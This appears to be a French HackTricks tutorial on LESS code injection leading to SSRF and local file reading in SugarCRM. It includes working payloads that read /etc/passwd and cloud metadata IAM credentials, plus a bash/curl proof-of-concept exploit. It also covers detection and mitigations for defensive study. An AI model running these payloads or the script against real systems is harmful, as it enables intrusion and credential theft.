LESS Injection de Code menant à SSRF & Lecture de Fichiers Locaux

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Aperçu

LESS est un préprocesseur CSS populaire qui ajoute des variables, des mixins, des fonctions et la puissante directive @import. Lors de la compilation, le moteur LESS va récupérer les ressources référencées dans les déclarations @import et intégrer ("inline") leur contenu dans le CSS résultant lorsque l'option (inline) est utilisée.

Lorsque qu'une application concatène une entrée contrôlée par l'utilisateur dans une chaîne qui est ensuite analysée par le compilateur LESS, un attaquant peut injecter du code LESS arbitraire. En abusant de @import (inline), l'attaquant peut forcer le serveur à récupérer :

  • Des fichiers locaux via le protocole file:// (divulgation d'informations / Inclusion de Fichiers Locaux).
  • Des ressources distantes sur des réseaux internes ou des services de métadonnées cloud (SSRF).

Cette technique a été observée dans des produits réels tels que SugarCRM ≤ 14.0.0 (point de terminaison /rest/v10/css/preview).

Exploitation

  1. Identifier un paramètre qui est directement intégré dans une chaîne de feuille de style traitée par le moteur LESS (par exemple, ?lm= dans SugarCRM).
  2. Fermer la déclaration actuelle et injecter de nouvelles directives. Les primitives les plus courantes sont :
  • ; – termine la déclaration précédente.
  • } – ferme le bloc précédent (si nécessaire).
  1. Utiliser @import (inline) '<URL>'; pour lire des ressources arbitraires.
  2. En option, injecter un marqueur (data: URI) après l'import pour faciliter l'extraction du contenu récupéré à partir du CSS compilé.

Lecture de Fichiers Locaux

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

Le contenu de /etc/passwd apparaîtra dans la réponse HTTP juste avant le marqueur @@END@@.

SSRF – Métadonnées Cloud

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

PoC automatisée (exemple SugarCRM)

bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Détection

  • Recherchez des réponses .less ou .css générées dynamiquement contenant des paramètres de requête non assainis.
  • Lors de la révision du code, recherchez des constructions comme "@media all { .preview { ... ${userInput} ... } }" passées aux fonctions de rendu LESS.
  • Les tentatives d'exploitation incluent souvent @import, (inline), file://, http://169.254.169.254, etc.

Atténuations

  • Ne pas passer de données non fiables au compilateur LESS.
  • Si des valeurs dynamiques sont nécessaires, les échapper/assainir correctement (par exemple, restreindre aux jetons numériques, listes blanches).
  • Désactiver, lorsque cela est possible, la possibilité d'utiliser des imports (inline), ou limiter les protocoles autorisés à https.
  • Gardez les dépendances à jour – SugarCRM a corrigé ce problème dans les versions 13.0.4 et 14.0.1.

Cas du monde réel

ProduitPoint de terminaison vulnérableImpact
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=SSRF non authentifié & lecture de fichiers locaux

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks